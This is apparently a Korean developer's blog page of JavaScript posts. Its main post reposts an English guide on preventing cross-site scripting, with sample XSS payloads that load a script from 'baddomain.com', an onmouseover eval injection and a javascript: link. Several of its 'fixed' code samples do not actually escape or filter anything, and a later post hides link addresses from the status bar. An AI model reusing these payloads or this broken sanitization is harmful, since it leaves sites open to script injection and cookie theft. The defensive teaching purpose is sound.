IT정리노트

블로그 이미지

Edward. K

메멘토적 기억능력을 소유한 개발자 노트.

'Programming/JavaScript'에 해당되는 글 44건

제목 날짜
  • XSS 공격 방지 TIP 2009.03.25
  • 자바스크립트 정규식 사용 예제 2009.03.25
  • 상태바에 주소 감추기1 2009.03.24
  • 텍스트박스에서 엔터키를 누르면 검색되게 하기 2009.01.23
  • style target 지정하기 2009.01.20

XSS 공격 방지 TIP

Programming/JavaScript 2009. 3. 25. 15:45
반응형

Xss 방지를 위해 자료를 찾아보았다.

출처 : http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html

 

Preventing Cross Site Scripting Attacks

Posted by gmurray71 on September 27, 2006 at 12:01 PM | Comments (9)

Preventing Cross Site Scripting Attacks

Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.

  • Escape parameters and User Input - The safest step you can take is to escape all parameters to a page where the parameters are displayed in the content.The same applies for any user input that may be displayed or re-displayed in a web page rendered by a server. The downside is that your users can not provide markup.
  • Remove eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
  • Filter User Input on the Server - You should always filter user input that is stored or processed on a server because URLs and GET/POST requests can be created manually.
  • Use Caution with Dynamic Script Injection - Be careful when dynamically injecting external scripts to retrieve JSON based data as you are potentially exposing everything accessible by JavaScript.
  • Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.

Escape Parameters and User Input

This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
  }
  document.write("Hi " + id);
</script>

A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:

Hi greg

What would happen if instead of "greg" I used the following URL:

index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E

Notice the URL above contains a link to script http://baddomain.com/badscript.js which contains malicious code from a different domain. This script will be evaluated when the page is loaded putting the page and all the data in it at risk.

To prevent from these types of attacks your client code should always escape "<" and ">" parameters that are displayed or evaluated by JavaScript code.

You can do this with a simple line of code as can be seen in the next example.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
	
  }
  document.write("hi " + id);
</script>

Consider the following containing a form where a user enters a description that will be visible to other users.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    display.innerHTML = description;
  }
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

Seems innocent enough right? Try including the following content in the text area.

<a onmouseover="eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse Over Me</a>

A mouseover of the link will cause a script in a badscript.js to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the "s.src" URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple mouseover to load the badscript.js.

So the question now comes to mind: 'How do you protect your web page from being being exploited?'

Along with the parameters you should escape form input. If you plan to allow users to provide their own markup consider the next solution titled Remove eval(), javascript, and script from User Provided Markup.

The following code shows how to escape markup on the client.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description = description .replace(/</g, "&lt;").replace(/>/g, "&gt;");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.

Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.

Remove eval(), javascript:, and script from User Provided Markup

There may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
    description = description.replace(/script(.*)/g, "");    
    description = description.replace(/eval\((.*)\)/g, "");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The example above removes all eval(), javascript and script references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.

Filter User Input on the Server

Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.

<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>

The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the "javascript" contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.

String description = request.getParameter("description");
description = description.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");

The code above removes eval() calls, javascript: calls, and script references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.

Use Caution with Dynamic Script Injection

Dynamic script injection to retrieve JSON data (also known as JSONP) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.

If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a proxy service which you can control the output, restrict access to, and can cache as needed.

Avoid XSS Phishing Attacks

This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.

Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:

<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">See foobar</a>

A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.

It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.

Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.

While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!

What other things do you do to prevent XSS attacks?

반응형
저작자표시 비영리 변경금지 (새창열림)
Posted by Edward. K

자바스크립트 정규식 사용 예제

Programming/JavaScript 2009. 3. 25. 13:29
반응형


Link :  http://www.javascriptkit.com/javatutors/redev3.shtml

아이디 생성시 제한 아이디를 설정해주기 위해.....

<script language="JavaScript">
<!--
 function checkId(str) {
  str = str.toLowerCase();
  var len =str.length;
  var noId =['root','admin','webmater','mail','jboss','oracle','mysql','localhost','user'];
  for( var i=0; i<noId.length ; i++) {
   //str = str.replace(eval('/(['+noId[i]+'])/') ,'');
   str = str.replace(eval('/'+noId[i]+'/') ,'');
  }
  // 삭제된 결과가 기존 길이보다 작을 경우는
  //   입력 금지 아이디와 동일하다고 판단
  if( str.length < len ){
   alert('---: '+str);  
  }
 } 
 checkId ("rootff123");
 checkId ("aduser23");
//-->
</script>


 

Regular Expressions methods and usage

Now, knowing how a RegExp is written is only half the game. To gain anything from them you have to know how to use them too. There are a number of ways to implement a RegExp, some through methods belonging to the String object, some through methods belonging to the RegExp object. Whether the regular expression is declared through an object constructor or a literal makes no difference as to the usage.

Description Example
RegExp.exec(string)
Applies the RegExp to the given string, and returns the match information. var match = /s(amp)le/i.exec("Sample text")

match then contains ["Sample","amp"]
RegExp.test(string)
Tests if the given string matches the Regexp, and returns true if matching, false if not. var match = /sample/.test("Sample text")

match then contains false
String.match(pattern)
Matches given string with the RegExp. With g flag returns an array containing the matches, without g flag returns just the first match or if no match is found returns null. var str = "Watch out for the rock!".match(/r?or?/g)

str then contains ["o","or","ro"]
String.search(pattern)
Matches RegExp with string and returns the index of the beginning of the match if found, -1 if not. var ndx = "Watch out for the rock!".search(/for/)

ndx then contains 10
String.replace(pattern,string)
Replaces matches with the given string, and returns the edited string. var str = "Liorean said: My name is Liorean!".replace(/Liorean/g,'Big Fat Dork')

str then contains "Big Fat Dork said: My name is Big Fat Dork!"
String.split(pattern)
Cuts a string into an array, making cuts at matches. var str = "I am confused".split(/\s/g)

str then contains ["I","am","confused"]

On that note I conclude the tutorial. Now go express yourself with JavaScript regular expressions!

  • Tutorial introduction
  • Regular Expression patterns
  • Regular Expression methods and usage

This tutorial is written by David Andersson (Liorean). Liorean is a twenty years old medical student and hobbyist web designer mostly working with JavaScript and CSS, DOM and the newest html standards available.

반응형
저작자표시 비영리 변경금지 (새창열림)
Posted by Edward. K

상태바에 주소 감추기

Programming/JavaScript 2009. 3. 24. 17:05
반응형
 
1. 링크에 마우스 오버시 주소 감추기


링크가 걸린 곳에 마우스 오버시 상태바의 글씨를 지웁니다.

<body> 바로 아래에 넣어주세요.

<script language="JavaScript">
<!--
function hidestatus() {
    window.status='' ;  // 주소 삭제.
    return true
} 
if (document.layers) 
   document.captureEvents(Event.mouseover | Event.mouseout) 
   document.onmouseover=hidestatus
   document.onmouseout=hidestatus
// -->
</script>



2. 매 millisecond마다 상태바 새로고침

<head> ~ </head>  사이에 추가.

다음을 응용해서 일정시간 마다 상태바 내용을 바꿀수 있을 것이다~

<script language="JavaScript">
<!-- 
   function statusbar()  {
     window.status=' ▒▒' ;
     window.setTimeout("statusbar()",10);   
   } 
   setTimeout("statusbar()",100);
// -->
</script>

[#M_[열기] 응용코드|접기|<body> ~ </body>  사이에 삽입하세요.

<SCRIPT>
<!--
message = "타이프되는 듯한 효과를 보여주는 스크립트 입니다^"
+"메세지와 메세지 사이를 어떻게 연결하였는지 잘 보신 후 수정 하세요^"
+"이곳에서는 절대 줄바꿈(엔터키)를 하지 마세요^"
+"좋은 시간 되세요^" +"각 문장의 마지막에 들어가는 표시를 꼭 해 주세요^"

scrollSpeed = 25
lineDelay = 1500
txt = ""

function scrollText(pos) {
if (message.charAt(pos) != '^') { // 각 문장의 끝에는 이 부호가 꼭 들어가야 합니다
txt = txt + message.charAt(pos)
status = txt
pauze = scrollSpeed
}
else {
pauze = lineDelay
txt = ""
if (pos == message.length-1) pos = -1
}
pos++
setTimeout("scrollText('"+pos+"')",pauze)
}
//-->
scrollText(0)
</SCRIPT>


_M#]
3.  상태바에 홈페이지 방문 시간을 보여준다.

자기 홈페이지에 손님의 머문시간을 상태표시줄에 표시해주는 소스입니다.
먼저 아래의 소스를<head> 와 </head>사이에 넣습니다.

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin script hide
/*
JavaScript coded
in full by Craig McKinnon
http://www.paperartless.com

gumsun@dreamwiz.com
*/

var min_inc = 0,
sec_inc = -1;

function browsing_time() {

if (sec_inc == 59) min_inc++;
sec_inc = (sec_inc + 1) % 60; // reset sec_inc to 0 after 59 seconds

// Display "minutes" or "minute" (<-- for 1 minute and second)
// and proper 0's

if (min_inc == 1) var min_no = min_inc + ' minute';
else var min_no = min_inc + ' minutes';

if (sec_inc >= 10) var sec_no = sec_inc;
else var sec_no = '0' + sec_inc;

var sec_txt = ' seconds.';
if (sec_inc == 1) sec_txt = ' second.';

var elapsed = '우리집에 머문시간.. ::: ' + min_no + ' '+ sec_no + sec_txt;

defaultStatus = elapsed;

setTimeout("browsing_time()", 1000);
}
// End script hide -->
</SCRIPT>

위에 보시면 우리집에 <--요기를 원하는 글이나 홈주소를 넣어사용하세요.
그다음에 body 태그에 onload="browsing_time()" 이것을 추가합니다.  
즉 <body gcolor="white" text="black" link="blue" link="purple" alink="red" onload="browsing_time()">
이렇게 넣어 주시면 됩니다.




반응형
저작자표시 비영리 변경금지 (새창열림)
Posted by Edward. K

텍스트박스에서 엔터키를 누르면 검색되게 하기

Programming/JavaScript 2009. 1. 23. 16:12
반응형

function onEnter(code)
{
    if (code==13)
   { 
      alert("엔터키를 눌렀슴미다.");
      document.write("<meta http-equiv='Refresh' content='0; URL=" + loc + "'>");
      location.reload();
    }
}

<input type="text" name="txtKeyword" onKeyPress="javaScript:onEnter(event.keyCode)">

반응형
저작자표시 비영리 변경금지 (새창열림)
Posted by Edward. K

style target 지정하기

Programming/JavaScript 2009. 1. 20. 15:13
반응형


checkbox,radio type은 스타일이 먹지 않도록 제외


input
{ color: #78777C; 
  border:expression!( (this.type=='checkbox'||this.type=='radio')?'':'1px solid #CACACA');
  font-size: 1em;
  padding:3px;
}


반응형
저작자표시 비영리 변경금지 (새창열림)
Posted by Edward. K
이전페이지 다음페이지
블로그 이미지

메멘토적 기억능력을 소유한 개발자 노트.

by Edward. K

공지사항

    최근...

  • 포스트
  • 댓글
  • 트랙백
  • 더 보기

태그

  • egov
  • Flash Player
  • 사업 이야기
  • 가상화폐무료
  • Graphic
  • Jboss
  • netbeans
  • rocketdock
  • android
  • 미네르바
  • STS
  • ERwin
  • 중독성게임
  • Eclipse
  • toad
  • 컴퓨터 관리
  • EkNote
  • eclipse plugin
  • 개한민국
  • tomcat
  • 플래시 게임
  • sqlgate
  • EditPlus
  • 색상코드표
  • flex
  • 이클립스
  • 캡쳐툴
  • iBATIS
  • 전자정부프레임워크
  • 이미지 편집

글 보관함

«   2025/08   »
일 월 화 수 목 금 토
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31

링크

카테고리

분류 전체보기 (792)
행운이와함께 (1)
EkNote Project (18)
ARIS (0)
Android (2)
LINK (39)
UML (9)
Programming (154)
Cobol (0)
ASP (0)
CSS (5)
C_C++ (2)
IBatis (2)
JSP (3)
JAVA (76)
JavaScript (44)
PHP (2)
Utility (76)
Protable (3)
MobileProgram (4)
SKT (0)
KTF (0)
LGT (0)
자료들 (4)
DB (82)
mongoDB (0)
MySQL (8)
Oracle (61)
MSSQL (4)
Graphic (8)
Flash (3)
PhotoShop (3)
SourceFactory (4)
Collection (73)
작가의기막힌상상력 (14)
미소를찾아보는공간 (44)
내심장은작동중일까 (6)
멀더와스컬리의노트 (3)
이건어디에사용할까 (6)
Edward (275)
나만 알기엔 아까워 (100)
기억하기 위한 기록 (123)
시선이 머무는 공간 (50)
숨기고 싶은 이야기 (2)

카운터

Total
Today
Yesterday
방명록 : 관리자 : 글쓰기
Edward. K's Blog is powered by daumkakao
Skin info material T Mark3 by 뭐하라
favicon

IT정리노트

메멘토적 기억능력을 소유한 개발자 노트.

  • 태그
  • 링크 추가
  • 방명록

관리자 메뉴

  • 관리자 모드
  • 글쓰기
  • 분류 전체보기 (792)
    • 행운이와함께 (1)
    • EkNote Project (18)
    • ARIS (0)
    • Android (2)
    • LINK (39)
    • UML (9)
    • Programming (154)
      • Cobol (0)
      • ASP (0)
      • CSS (5)
      • C_C++ (2)
      • IBatis (2)
      • JSP (3)
      • JAVA (76)
      • JavaScript (44)
      • PHP (2)
    • Utility (76)
      • Protable (3)
    • MobileProgram (4)
      • SKT (0)
      • KTF (0)
      • LGT (0)
      • 자료들 (4)
    • DB (82)
      • mongoDB (0)
      • MySQL (8)
      • Oracle (61)
      • MSSQL (4)
    • Graphic (8)
      • Flash (3)
      • PhotoShop (3)
    • SourceFactory (4)
    • Collection (73)
      • 작가의기막힌상상력 (14)
      • 미소를찾아보는공간 (44)
      • 내심장은작동중일까 (6)
      • 멀더와스컬리의노트 (3)
      • 이건어디에사용할까 (6)
    • Edward (275)
      • 나만 알기엔 아까워 (100)
      • 기억하기 위한 기록 (123)
      • 시선이 머무는 공간 (50)
      • 숨기고 싶은 이야기 (2)

카테고리

PC화면 보기 티스토리 Daum

티스토리툴바